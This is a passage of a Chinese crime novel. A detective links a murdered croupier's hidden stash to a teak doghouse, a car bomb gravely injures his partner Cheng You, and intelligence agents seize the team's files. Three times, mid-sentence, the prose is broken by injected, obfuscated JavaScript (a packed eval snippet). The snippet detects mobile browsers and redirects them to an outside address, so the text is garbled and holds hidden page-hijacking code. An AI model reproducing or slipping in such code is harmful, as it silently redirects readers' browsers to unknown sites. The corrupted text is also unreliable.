奇怪,他想。虽然我已努力去摆脱理性程式训练的影响,但是对人的印象依旧很浅薄。 为什么我会记得他所有的动作和语言? 高尚桢从思索中回过神,发现他的骑手双臂支在车把上,低着头在发呆。 这可太不程宥了。他想,可却不想惊动他,歪着头就这样看,直到程宥开始整理头盔,才拍拍他的肩,“走吧,我的骑手先生。辛苦你了。” ============================== 翌日上午十点。 红驼警局二楼会议室里,抽调而来的警员们与刑事组成员一起,看着高尚桢,这位在红驼城,不,在整个西部联区都大名鼎鼎的传奇警官,在屏幕缓缓投下一副街道的地图。 “这里是度安源的家。”高尚桢指着地图上象征着栀子花1112的那个小点,“这里是他工作的街角咖啡店。”他又指着相距不远的一个小点,然后打开激光笔,红点沿着几乎看不见的细线,从一端曲曲折折的滑向另一端,“这是他每天上下班的路线。” “很怪不是吗?”高尚桢犀利的目光扫过一张又一张的脸,“明明开车五分钟就能到达,他非要步行。” 他扬起一个U盘,“我检查过一个月内这条路线上所有监控录像,也和咖啡店店员确认过,他不是心血来潮,而是从几年前就这么做了。” “我要你们沿着这条路线探访每一家,看看这条路上他是否有熟人,朋友,或者对哪一家特别留意。” “不要轻易放过一条可疑的线索,任何情况都必须上报,解散!” 第三日,上午十点半。所有消息汇总而来。 三条连接起来5公里的窄街,一共有545户人家,其中代售房屋15家,主人出门旅游或者探亲的房屋36家。 刑警们跑遍了剩下的494户人家,确认和荷官直接或者间接熟悉的共有12户,包括咖啡馆的同事,公园里打牌的牌友,相熟酒馆的老板等。 同事?咖啡馆那边该问的都问了。酒馆老板?度安源那种人未必会跟他说心里话。 牌友... 高尚桢的目光在牌友上定了定。 荷官是个赌徒,他第一次见到自己就要跟自己翻牌比大小,赢来的黑桃九和红桃A至今还躺在那件夹克衫的口袋里呢。 “这个牌友现在在家吗?”他问安月见。 “对。”安月见点头,“他叫郑历秋,今年64岁,已经退休了,每天没什么事,每天在家遛遛狗,打打牌。” “好,程宥。跟我走,我们去见郑历秋。” 高尚桢的腿已经恢复得差不多,剩下那点疼对他来说就跟蚊子咬一口差不多,于是出了警局大楼后,他又一次阻挠了调查官去找他那辆停在第四排的黑车,指了指自己永远霸占VIP位的老雪佛兰,“我来开!” 程宥有点不赞同,但看到高尚桢一头抢进驾驶舱,想了想,还是跟着过去,他先习惯性的去拉后门,指尖都触到把手上了,看到高尚桢从车里歪着头等自己,停了停,拉开了副驾驶的门,坐了进去。 嗡嗡嗡的轰鸣中,休息了两周的雪佛兰又一次重新上路。 高尚桢驾驶着自己的老破(婆)车在大街上横冲直撞,心情很快活,又想到不久就要迎娶一位豪华型,两座的,柠檬色美人进门,又不免对老伙计感到抱歉。 他心里觉得抱歉,脸上却不由露出笑意,然后很快就注意到程宥的目光低垂,落在副驾驶前那个微微敞开的储物格上。 从昨天起,程宥的话就变得出乎意料的少,当然,他一向安静,基本上不问不出声,但是沉默到这种地步,还是不太对劲。 他刚想问,程宥忽然开了口,“高尚桢。” 高尚桢心一跳,踩油门的脚跟着一痛,眉头就皱起,“呲——什么事?” “你的腿……” “我没事。”他催促,“你要说什么?” 程宥仍然目光坠低,“我可能要走了。” 雪佛兰在大街上发出长长一声咆哮,迅猛的扑向前方车流。 高尚桢的脸板了起来,“什么?” “我在这里时间太长了。”程宥平静的陈述着事实,“情报司遇到些麻烦,他们要我回去处理。” 高尚桢声音冷得要结冰,“这边呢?” “我已经打过报告,”程宥依旧没有抬头,“告诉上面红驼地方警局能力很强,在有足够资源支持的情况下,不需要调查官也可以独立侦破案件,不要担心,你们会有足够的资源……” “谁说没有调查官也可以的?”高尚桢的表情已趋近于绝对零度,“你说的?还是他们说的?谁说的?” “那不重要。”程宥双手扣拢,用很慢的速度做出回答,“重要的完成任……是破案。” “对我很重要。”高尚桢强压下冰冷的怒火,他忍了忍,终于忍不住冷笑,“不过,我猜是你主动在报告里提出不需要调查官也可以?” 程宥没有立刻回应,隔了好一会才说,却避开这个了问题,“你们会继续得到联合调查处的人力支援,起码两人以上。当然主要是在武力上支援,他们会完全服从你的指挥,所以你不用担心界至野的事再次发生。” 高尚桢死死攥着方向盘,绿灯亮起的瞬间,雪佛兰几乎是立刻就脱弦射出。“你那么想离开红驼吗?”他咬着牙,“也离开我……我们?” “红驼很好,”程宥一个字一个字的说:“你……你和你的小组也很好。”他的眼睛始终不曾抬起,“只是我在这里有些久,苍都那边需要我。” 高尚桢觉得自己的呼吸都被削断了。 他想大吼你还是连说谎都不会,眼睛不看我,连声调都不对。 你要走究竟因为情报司?还是因为我? 情报司有那么多人,可红驼只有一个程宥。 他觉得自己快被愤怒和失望给冲塌了,然而理智的堤虽然摇摇欲坠,却始终那么坚韧,始终不垮。 “你别想走。”他听到自己冷酷的声音响起,“起码案件结束之前别想逃。” “要不然我就直接去情报司,绑也把你绑回来。” 剩下的车程里,没人说话。 转过一个弯,一辆闪着红灯的黄色校车赫然出现在眼前。高尚桢猛踩刹车,刺耳至极的擦擦声中,雪佛兰总算在红牌前勉强停住。 因为惯性太大,高尚桢的身体也跟着剧烈向上跳起,他腿上受力,痛得更加厉害。不知是否刹车实在太急,旁边程宥的额头也撞上车窗,发出砰的一声。他身体即刻绷紧,膝抵前方,刹那间就将姿态稳固下来。 只是额头到底撞得青了一块,镜架也撞歪了。 他揉着额头,慢吞吞的摘下眼镜,放回口袋,还是没有转头,也没有吭声。 不知是腿疼还是别的什么缘故,高尚桢的怒气忽然消散了一些。 然而他也没有再开口。 十分钟以后,雪佛兰停在了路边。 一个街区外就是郑历秋所在的栀子花21号,里面的道路曲曲折折格外逼仄,围墙又厚,车子实在难开。 高尚桢绕了两圈,始终难以平心静气的开进去,干脆不开了,就近停到路边,准备走路过去。 他一言不发的下了车,当的一声,重重摔上了车门,一脚踩到路面上,只觉得钻心的痛顿时传来,让他差点摔倒。 程宥从副驾驶上下来,见状就想上前,然而脚步很快停下,他看到高尚桢单脚在地上跳了几下,连舒了几口气,很快头也不回,大步流星的朝前方走去。 他站在原地好一会,揉了揉鼻梁,也走入小巷之中。 栀子花21号是栋漂亮的独栋花园,和这条街其他住户一样,被很高很厚的院墙围住。不同的是前院有条黑色的拉布拉多,隔了三米的铁门栅栏正向他们摇尾巴。 高尚桢深吸了一口气,伸手按响了铁栅上的门铃。 等老人走出来时,他脸上的怒气已完全消失,主动伸出手,“您好,我是刑事组的高尚桢。这是……”他头也不回,随便指了指程宥,“我一位同事,我们来向聊一下度安源的事。” 虽然年过六旬,郑历秋头发还是油黑,脸上也没有什么皱纹,看起来精神头十足,大概是因为生活无聊,对两位警官的到来十分热情,又煮咖啡又拿甜点,还领着他们看自己爱犬曲奇饼。 看得出郑历秋很爱这只拉布拉多犬,它很活泼很友善,狗屋都大得能容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652215|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,看到有客人来,大狗高兴在前院转圈圈。 在喝了半杯咖啡后,郑历秋开始了回忆,“……我从年轻时候就经常在驮铃公园和人玩牌了,大概六年前吧,安源,呵呵,他说自己姓安,你们说我才知道他姓度不姓安,加入了牌局。他牌技挺好,就是赌性有点重,正好我技术也不错,又有点小钱,这俩人不就刚上了嘛。呵呵,那时候我刚退休整天在家呆着难受,养的狗黄油又病死了。他呢,就在那显摆他新买的狗,我就生气呗,然后也不知道怎么就吵起来,干脆打牌决定胜负。”说着哈哈大笑起来。 高尚桢也跟着他一起笑,“一定是你赢了对吧。” “小伙子有眼力!”时隔多年,提起这件事郑历秋仍有点得意,“连狗带狗屋都一起赢了!就是你们看到的曲奇饼,那个狗屋是柚木的,比狗都值钱,哈哈,说笑了。都是运气,其实他比我厉害,那天可能就是运气好。” “后来慢慢我们那伙人也就散了,后来有一天我凑巧遇到他,没想到他主动打招呼,还问我曲奇饼好不好。其实本来也没啥大事,就是当时几句口角,我又赢了,当然也就不气了,一来二去的,居然关系还好了,当然不是真朋友,但是偶尔也聚聚。” “他上班的那个咖啡店就在公园这头,我有时看到他路过,还跟我招招手,也跟曲奇饼玩一会,这家伙比我还爱狗呢,我也跟他说过要不再养一条?反正曲奇饼我是不会还给他喽。他就哈哈笑,说养不起养不起,过过眼瘾就行。” “哎,这个人就是赌性重,其实人挺好,怎么就横死了哪,哎,人生无常啊。” 郑历秋口中的度安源,是刑事组长没有想到的,看起来就是个温和又有爱,除了赌性有点重没啥毛病的普通人,和赌场那个为蛇矛打开死亡大门,企图戏耍警方的荷官,完全判若两人。 他有点失望,眼睛不自主去找程宥,才一扭头,就马上停住,又跟老人聊了会天,见确实问不出什么线索,就起身告辞。 郑历秋送他们到院口,挥手道别,曲奇饼尾巴摇得跟风轮似的,眼巴巴目送他们走了。 高尚桢走入了小街,脚步渐渐变慢,最终完全停下,卡着腰仰起头看天。 刚刚过去的一个小时,他和人聊过天,喝了咖啡,又吃了饼干,甚至和狗玩了几分钟,这一切已让他已不再那么愤怒,然而离开那栋漂亮的房子后,神奇的魔法消失了,幽暗的失望漫上了心间。 他听到背后程宥的脚步声传来,然而离他几步远就停住了,于是这种失望更深更重,暂时麻痹的腿痛又回来了。 他想,这都什么事这是,他妈的我还想买车,我想连怎么贷款都想好了,我甚至连你的拒绝,还有拒绝之后我该怎么办都准备好了,然后你他妈的就跑了,连句话都没有。我他妈的到底在干什么。 他妈的。 他觉得憋屈,觉得无力,腿疼得站不住,眼眶有点涩,杵在原地对着天看半天,终于长长舒了口气,回过头跟一直沉默的程宥开了口,“看来这趟是白跑,算了,我们先回局里总结一下。”又深深吸了口气,“别的事以后再说。” 他说着脚又疼了起来,揉了揉膝盖,从口袋里掏出钥匙丢过去,“我开不了,你来吧。”又看了看他头上的淤青,喉结滚了两下,想说点什么,到底什么也没说,转头踮着脚向车的方向走。 他慢慢的走着,看到自己的车停在是十几米外的对街,停下了脚步,突然觉得腿疼得再也走不了了。 这时他听到程宥在身后说了一句,“我把车开过来,你等在这里。”然后越过他,快步走向了车里。 他站在原地,什么也不想,只慢慢的吐气。 午后的风送过来孩子的笑声,还有几条狗的汪汪声。 这条街有这么多狗,他麻木的想,也是,狗多受欢迎,人人都爱,郑历秋爱,度安源也爱…… 度安源也爱狗…… 爱狗…… 爱…… 他眉毛突然皱起,脑海里火花开始簌簌打闪,过鉴证组送来的材料电一般掠过脑海。 那些他看了整整一周的材料。 不对! 不对劲! 狗? 他屋子里有狗的玩偶吗? 他墙壁的装饰画有狗吗? 他邻居也养狗,说过他和自己的狗玩吗? 他的网页记录上,有浏览过宠物网站吗? 他的社交账号里,有观看任何狗的视频历史吗? …… 都没有。 …… 这些都没有,不,度安源根本不爱狗。 他和郑历秋只是泛泛之交,为什么会天天经过他的房子? 他在看什么? 他都没进房子里,在街上他到底能看到什么? 他会看到前院。 前院有什么? 狗? 不对。 “……连狗带狗屋都一起赢了……” “……那个狗屋是柚木的,比狗都值钱……” 狗屋! 一刹那脑海中巨大的闪电劈过,一下子就照亮了全世界。 高尚桢哈哈大笑起来,用力挥了挥拳,再也顾不上腿痛,直接朝车跑去。 他看到程宥已进了驾驶室,正在低头揉眼眶,这个动作提醒了他,让他的兴奋稍微降了一度。 然而他仍然是非常喜悦的。 这一刻他真心觉得自己被上苍眷顾,所以无所不能。 没关系,他想,没关系,这只是个小挫折,你行的,高尚桢。 他一定会留下来! 他高高兴兴的跑过去,拉开了副驾驶的门,钥匙早已被插入插孔,车子已经发动,方向盘上的司机动作有点慢。 副驾驶的车门被拉开一半,他冲程宥喊起来,“下车!我知道度……” 滴—— 是什么声音? 他低下头,看到乘客座位下方有个红点一下子亮了。 接下来的1.5秒,对高尚桢来说,就算到了生命最后一刻也不会忘却。 他看到在滴声响起的同时,程宥捏着鼻梁的手闪电般松开,他的目光射向乘客座位,旋即向上扫过高尚桢。 下个刹那,他果断踩下油门。 老雪佛兰箭一般冲向前方。 高尚桢的手还拉在车门上,身体被惯性带向后方,霎时间整个人就被甩了出去。 轮胎摩擦地面发出尖锐的嘶嚎。 空气一瞬变白色。 爆炸声轰然响起。 47. 长夜 一辆警车呼啸着冲入急诊区,盛苒从车上跳下来,一个站立不稳,直接崴了脚,她大口吸着凉气,一路扶着墙跳进急诊室。 急诊室乱糟糟的,全是警察和救护人员,她拼命拨开一个又一个,疯狂找人。 这个,不是……这个,不是……,这个…… 然后她看到了坐在椅子上的组长。 他的额头在流血,面颊青了一大片,有护士正在旁边试图跟他说什么,他动也不动,就那么坐着,整个人全无反应。 盛苒松开手,向他奔过去,然而突然就痛得差点摔倒,这时旁边伸来只手,将她一把架了起来。 她转过头,看到眼睛通红的卫其宏,还有旁边哭得快抽了的安月见,一颗心不住下沉,“调查官呢?程宥呢?你们电话里说什么?什么爆炸?爆什么炸?” 卫其宏想说什么,嗓子噎了两下,一个字也说不出来,盛苒急得声音拔高,“你给我说话!” 卫其宏刚要张嘴,眼泪哗哗就掉了下来,他转过身,一只手捂住脸,肩膀开始抖。 旁边安月见哽咽的替他回答,“组长,组长的车,有炸弹,调查,调查官,被炸,炸……” 盛苒心都不跳了,盯着她问:“被炸……被炸什么?!说话!” “重,重伤……,不知道,不知道,能不能,能不能……医生说,让我们,我们做好,做好准备。”安月见突然一把抱住她,“怎么办盛姐,怎么办盛姐?调查官要死了,他要死了怎么办?” 盛苒脑子里乱糟糟的,程宥,怎么会?怎么会是程宥?他怎么可能躲不开? 是组长……组长的车……组长没事……程宥…… 她扬头去看高尚桢,穿过憧憧人影,她看到仍旧坐在那里,一动不动的高尚桢,有个医生走过去,比比划划的,似乎在解释什么,他只坐在那里,偶尔点下头,好像听了,又好像没听。 盛苒抹了把脸,拍拍安月见的肩,安慰她,“没事,没事。”又叫过一个女警,让她陪安月见去洗手间,接着拽过卫其宏,严肃的开口,“你看看自己什么样子,这么多人都在,事情一堆,你得给我把精神打起来!” 卫其宏被她一训,勉强止住眼泪,“盛姐,先是老界,又,又是调查官……我,我……” 盛苒脸色更加肃穆,“界至野没事,程宥也不会没事。倒是你,不算新人了,遇到事情就不像样,快给我洗脸去。” 卫其宏低下头,咬紧牙关连连点头。 盛苒咬紧牙关,蹲下揉了揉脚踝,透过来来往往的人群,向高尚桢的方向看去,看到医生已经在给他额头包扎,护士在往他胳膊上接点滴针,他听之任之,仍旧没有做出什么反应。偶尔有个警员过去跟他请示,他也不说话,只是轻轻点头。 在这样混乱又急切的急诊室,他是如此的安静又沉默,好像漫游在另一个世界。 盛苒努力忍痛,要向他走过去。 就在这时,手术室的灯灭了,一个护士急匆匆跑出来,“你们谁是病人家属?” 高尚桢浑身震了一下,他猛地站起来,胳膊上的点滴管被甩出了出去,刚要张嘴,急诊室外间的门忽然被推开,一道冷冷的声音传来,“有事同我们讲。其他人一律离开。” 他茫然的转过头,看到四五名穿着深色西装的男子推门而入。 当头的是个剃着寸头的年轻人,他环顾四周,神情冷峻,“谁是高尚桢?” 几名便衣同时向刑事组长望去,对方仍旧站着不动,似乎完全没有理解出了什么事。 年轻人目光一闪,径直走到他面前,从怀里抽出证件亮了一圈,“中央情报司接管现场,除了医护人员,其他人一律离开。” 他冷冷盯着高尚桢,一把将他推开,“尤其是红驼警局的人。” 卫其宏刚从洗手间出来,先听见这一句,又撞到寸头男推搡组长,火气当时就没抑住,一下冲上去,“你干什么你?” 他话音未落,只觉肩膀一痛,腘窝一软,电光石火间整个人便被压跪在地。 原来他尚不曾贴近,有名中年男子已闪电般出手,扣住他右肩,随即向下一拽,又一脚踹上他膝间。 此时卫其宏面朝地面单膝跪倒,肩头仿佛被一把铁钳牢牢掐住,丝毫动弹不得。 情报司特工从天而降,现场的便衣和制服警员还在震惊中,随即就见到卫其宏被袭击,瞬间怒火盖过了惊愕,“你干什么?”“放人!”“你们要干什么!”“你们敢动警察!”“有人袭警!” 寸头年轻人一挥手,中年男子放开了卫其宏,重新站回到他身后。 他环睨四周,凛然道:“情报司办事,谁要阻拦?” 四名特工立在侧后方,以同样冷淡又漠然的目光打量着群情激愤的红驼警方。 卫其宏捂着肩膀站起,这一晚上的惊惧,伤痛,害怕,愤懑,委屈……所有的感情一股脑涌上来,“妈的。”他骂了一句,就要冲上去,胳膊忽然被牢牢攥住。 他回过头,看到盛苒正抓住他的手臂,无声摇头。 就在这时,有人开口了,“中情司的人?苍都来的?” 是高尚桢。 他向前走了一步,看着面前板寸头,“程……调查官的同事?” 年轻人不屑的目光掠过他,没有回答。 “我们会走。”出人意料的,现场所有警察的老大,一向脾气又急又爆的高尚桢认怂了。他的神情安静得可怕,“你们会把他……调查官救回来是不是?” 板寸男微微仰起头,目光居高临下,“程长官的事,和你无关。”他说,下巴向周围一挑,“和你们红驼无关。” 他冷笑一声,几名特工随即上前,封住了手术室的大门。 高尚桢点点头,没有反驳一个字,挨个看向急诊室的警员们,看了一圈,点了点头,“走吧。”他摘下头上的绷带,最后望一眼急诊手术室关着的大门,慢慢走了出去。 安月见跟着卫其宏走出医院,看到他在闷闷的揉肩膀,“你怎么样?”她抹了把眼睛。 “没事。”卫其宏沮丧的说,他浑身松垮垮的,一点点力气也没有了。 这些人好厉害,他想,就一下,我就被制住了,一点多余的力气都没废,和调查官一样。 不,不对,调查官不一样。他想起那么温和的,会和他们一起笑,一起吃外卖的调查官,想起他摁在界至野的胸前,沾满了鲜血的双手,眼睛又湿了。 他没有擦,清了清嗓子,看向盛苒,严肃开口,“鉴证组在检查车辆爆炸情况,我也要去那边。” 盛苒回望他,点点头,“好。” 安月见擦干眼泪,“我也去。” 盛苒再点头,“好。” 他们一起看向站在台阶前的高尚桢,从头到尾,他一言不发,将双手插进口袋里,在风里有点瑟缩的样子。 盛苒压下叹息,走向他,“组长,你去哪?” 她问了两遍,高尚桢才反应过来,“啊?”他迟钝的想了一下,然后给出个意外的答案,“送我回家。” 盛苒一直看向车后座,高尚桢斜靠在椅背上,一言不发。 她很担心组长的状态,更担心医院里的程宥,然后她的脚踝还肿了,鞋面绷得很紧,每踩一下油门都疼得像刀割。 “没事的,组长。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652216|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一面开车一面说,泪水在眼眶里转,夜里的路灯都模糊了,“程宥肯定没事,你得先把自己照顾好。” 高尚桢盯着车窗外,一声不吭。 ”你别担心,”盛苒笑出声,“我在医院也有熟人,就算中情司封闭得再严密,我也能第一时间打听到情况,肯定第一个通知你,你别想太多。” 窗外的夜这么漫长,路灯的光一片接一片的,高尚桢看着它们来了去,去了来,脑子茫茫的什么也没有。 就这样,盛苒将他送回公寓下,忍着痛一瘸一拐走到一楼,还想陪他上去,但是高尚桢阻止了她。他没有说话,也没有力气说话,只在她胳膊上拍了拍。 盛苒懂了,她咬着牙,为他按下了电梯的门。 ”好好休息,高尚桢。”在电梯合拢的一瞬,她叫了组长的名字,“我们需要你。” “程宥需要你。” 电梯在14楼停了很久,高尚桢一直没有动,只看着合拢的电梯门发呆。他觉得累,不想出去,也不想动,直到面板上的数字8开始闪烁,电梯向8楼降下,他才恍然一惊,伸手使劲的按14。 电梯从14层缓缓下降到8层,又回到1楼大厅,再一次回到14层。 他来到自己家门口,掏出钥匙进了门。 屋子里黑漆漆的,没有开灯,他脱下鞋,在黑暗中摸进了屋,找到沙发,坐下来,身体一栽,斜在了沙发上,脖子忽然咯到了什么又圆又硬的东西。 他下意识的伸手摸去,一个光滑圆润的东西滑入了手掌。 这是什么? 他疑惑的想,把东西在手里转了一圈,又凑近鼻子闻闻。 一股清香淡淡传来。 苹果。 他想起来了,昨天程宥给他买了苹果,他乐颠颠的拿回家,少见的打开电视看了半宿球赛,最后握着苹果睡着了。 我记得这个苹果很贵。 他想,叫什么来着? 对,清晨翡翠。 很贵。 程宥买的。 程宥。 他的身体开始发抖。 程宥。 他想,苹果掉在了地上,发出轻轻一声响。 程宥,程宥。 他捂住胸口,有什么巨大的,沉重无比的东西,压在了上面。 程宥。 他压住胸口,心在砰砰的跳,想起了拿着水果篮站在病房门口向他微笑的人。 程宥程宥程宥程宥。 他缩起身体,在黑暗里大口大口的喘气。 这一刻他想的并不是爆炸,也并不是程宥决绝的一眼。 他想起的是他在红灯前狠狠踩下刹车,程宥的头撞上了车窗,额头瞬间淤青。 青得刺眼。 我为什么要生气?我为什么要那么重的踩刹车?我为什么不问问他疼不疼?我为什么还要急着开车? 他疼不疼? 在那个房子里的时候,我没有跟他说一句话。 我都没有看他。 不,我看了。 我看到他摸了摸狗的头,狗很喜欢他。 他喜欢狗吗?他养过狗吗?他的家在哪里?他有什么亲人? 我都没有问。 我为什么没有问? 我为什么那么生气? 他不应该看不见那颗炸弹,但是他的反应迟钝了,他在揉眼眶,他很累。 如果不是因为我,他会冷静下来。 是我的错。 我为什么没有问问他的头有没有磕痛? 凌晨三点的夜里,高尚桢蜷缩在沙发上,胳膊蒙着脸,嚎啕大哭。 48. 拿走的和拿不走的 虽然医生让盛苒最好在家静养三天,不要再给脚踝加负担,但是她还是让一早就让丈夫送自己到了警局,然后一瘸一拐的进了电梯,然后发现值班的前台警员正不安的望着自己。 消息传开了,办公室肯定乱糟糟的,她想,一切都乱了套,因为…… 她深呼口气,不让自己再想下去,等电梯到达二楼,扶着墙慢慢到了办公区,刷开了门,整个人就愣住了。 办公室里完全没有她想象中的乱,何止不乱,简直干净得过分,除了桌椅和一些基本的个人物品,就剩下一台落地打印机和碎纸机。 此外所有的东西都不见了。他们整理出那么厚的报告,他们的记录本,他们的各种资料,连他们的电脑主机不见了。 她转头看过去,发现竟然连写满线索的白板都消失无踪,偌大的办公区,空得可以听清回声。 她震惊的看向正相对沉默的卫其宏和安月见,“这是怎么回事?遭贼……” 她突然想起了前台那不安的眼神——中央情报司! 她深吸了口气,“什么时候的事?” 卫其宏抱着手臂,贴墙站着,头微耷着,“前台说昨天凌晨,来了辆卡车和一队军人,都收走了。他们拦不住。” 一股难得的怒气冲上了盛苒的胸口,她闭紧嘴深吸口气,“组长的车呢?” “也被拖走了。”安月见垂着眼,无精打采,“鉴证组刚检查了一半,就了来人,连他们的检查记录一起,也都被迫上交,对了,”她抬起头,“上面说等我们回来,把工作手机也交上去,等他们检查完了再还回来。” 盛苒气得说不出话,太过分了,她想,中情司太过分了。不行,我现在得撑住,不能表现出来,起码在组长恢复过来之前不能…… 就在这时,她身后的门打开了,高尚桢迈步走了进来。 ”组长!”卫其宏第一个跑过去,“你怎么来了?” 不知道为什么,看到高尚桢的一瞬,他的心一下子就放下了。 也许是因为主心骨回来了,但更多的可能是因为组长今天的状态。站在他面前的,不是昨晚那具空空的躯壳,而是真正的高尚桢。虽然他的脸色依然不太好,眼皮微肿,眼睛里也全是红血丝,但是他的额头创口已贴好了绷带,脸上还是青一块紫一块的,下巴磕伤的地方也粘上了创可贴。 此外,他还换下了昨天那身沾满血和尘土的衣服。 此刻他看起来,像是从战场上归来的老兵,带了一身的仆仆风尘与累累伤痕,眼神平静而坚定。 高尚桢看到办公区的空空如也的景象,也小吃一惊,很快就意识到出了什么事,微微摇了摇头,看着盛苒绑了弹力绷带的脚踝,冲卫其宏晃了晃头,让他给副组长搬了张椅子去。 看到他这个样子,盛苒和安月见也长出了口气。 等她坐下了,高尚桢又问了两句车的情况,听到仅仅剩下残骸的雪佛兰也被中情司拖走了,又摇了摇头,估计是没有睡好的缘故,他看起来很疲倦,精神却还好。 “嗯,看起来被人截胡了。”他居然还开了个小玩笑,又看看卫其宏,“你检查过没?我们这里没被装窃听器吧?” 这个问题卫其宏可是万万没想过的,他就想回答不能吧,可马上挺直身体,“我去叫人过来查一下。”——该死,我们都被截胡了,总不能还给人主动点炮啊! 然后刑事组的探员们发现中情司还没有做得那么绝,或者说,还没来得及做得那么绝。 高尚桢去自己的办公桌检查了一下。 程宥的办公桌在他侧前方,他路过时脚步滞了下,然而并没有停留,只是扬头看向窗台,那盆小小的仙人掌盆栽还在,依然挺精神。 他收回目光,发现自己的主机什么的也不见了,抽屉里的巧克力倒是完整无缺,还有,那个丑丑的橘黄色压力球也老老实实在抽屉里呆着。 他敲了下桌面,有点无奈的转身,本来想召集组员们到白板前开会,然后就想起白板也不见了——连着板擦和笔一起,又失笑了下,来到盛苒办公桌前,招呼大家聚过来。 “我们再来开个会。”他看看安月见,“记心里,别记本子上,也别记手机上,等一切恢复了再补上。你把百叶窗拉上。” 安月见不太明白他的意思,然而还是点点头,按照他的吩咐去做了。 “先来说一下度安源的事,我有了些新发现。”高尚桢把昨天在车前的推测原原本本的复述出来,听得安月见和卫其宏面面相觑。 “组长,你是说东西在狗屋里?”安月见觉得难以置信,“这不容易丢吗?” “不。”高尚桢摇摇头,“栀子花街一向很安全,十年没有发生过任何抢劫或盗窃,更不用说杀人和爆……”他轻吸了口,“我在说昨天之前。郑历秋的花园别墅还装有三米高铁栏杆;再加上他本人退休多年,基本上每天都在家,所以藏在这里反而是最安全的。” “何况荷官每天都会路过。别忘了,他是个赌徒。”高尚桢总结,“他要把东西藏在最危险,也是最安全的地方。” 说这句话的时候,有什么飞快掠过他的脑海,他微微怔了一下,却没有抓到。 卫其宏还是有些疑惑,“但是主人不会换新狗屋吗?这个郑历秋好像很有钱吧?” “狗屋是柚木做的。”高尚桢说出一个数字,连卫其宏都吓了一跳,“这么贵!哎呀,那他要被狗咬坏了怎么办?” 高尚桢想起那条快乐的拉布拉多,“不,曲奇饼,”他提到这个有趣的名字,不自主笑了一下,又想起了它摇着尾巴舔程宥手指的样子。 ……我还以为没有自己压根没去看……其实一眼也没落下…… 他轻叹一声,“就是那条狗,被训练得很好,不会乱咬东西;而且狗屋很结实又大,东西藏到底部的话,主人也不会发现。” “你们想想度安源输掉狗和狗屋的这个时机,正赶上郑历秋退休,开始整天在家,每天大量时间在家;然后他的狗又死了,有钱有闲又爱狗,三种因素叠加,足以保证他能成功移情,不会将狗和狗屋送人。” 安月见还是想不通,“度安源为什么不自己留着东西,他自己藏起来也行啊?” “他藏到哪儿都容易被发现。”盛苒已经站在组长这一边,“要是存在银行,或者专门保管的地方,有心人一查就查到了;埋在公园之类的地方也不保险,随时都可能意外被挖出来。这个狗窝在私人花园又有主人保护,真是个好地方;就算万一真要取回,他偷进花园比在公园挖东西更不引人注目。" “对,别忘了。他是个敢拿命去赌的赌徒。”高尚桢淡淡的补充,“他赌的是就是这个地方别人想不到,贼想不到,他的对手也想不到。” “这样即使他有朝一日真被抓住,他也有筹码翻本。” 只是他没有想到别人根本没有给他这个机会。 真是造化弄人。 空荡荡的办公区,四位警官同时这么想。 盛苒沉吟着,“所以组长,这么说,你认为杀害度安源的不是牙?” 高尚桢摇头,“我认为不是。牙来红驼固然有报复的因素,主要也是为了这个标的物,毕竟当年蛇矛完蛋都是因为这个东西,很难想象明明可以唾手而得,他都不试一下。” “组长啊,我们也讨论过凶手也许不是牙的可能性。可就是因为这个荷官死得太轻松了,我们才觉得是牙而不是索骁。”卫其宏跟他解释,“白行人身中三百多刀,宫达良窒息受折磨而亡,到了荷官这里,明明也是仇人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652217|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一下子就被刺死了,这个怎么想都不对啊;而且牙又出现在现场,所以我们觉得是他。” 高尚桢点点头,“我同意你的看法,他的死法和蛇矛的成员不同。” 如果不是为了夺宝,也不是为了复仇,那还有一种可能…… 又一簇火花在他脑海倏然闪亮,等他想要去看,却又很快消失了。 盛苒看着沉思的高尚桢,又看向在讨论中恢复些许精神的卫其宏和安月见,“看到了吧。中情司的人把所有资料拿走都没有用,我们最大的财富在这里。”她点了点自己的头,“我们的脑子。他们夺不走的。你们也打起精神来,知道下一步是什么了吧?” “查狗屋!”两名年轻刑警同时精神一振。 “对。”盛苒一笑,“相信如果我们把东西拿回来,也就能把案子拿回来,也可能……” 她没有再说下去,然后在场的人都知道她想说什么。 ——把我们的调查官还回来! 卫其宏狠狠一挥拳,“好,我这就去!” “等等,”高尚桢叫住了他,“不能正大光明的去。”他看了一眼窗外,“我早上出来后面就有车在跟着。你们肯定身边也肯定有人。” 安月见张大了嘴,她突然明白为什么组长要她拉上百叶窗了——防止读唇语! 我X,有必要把我们和蛇矛看成一伙吗! 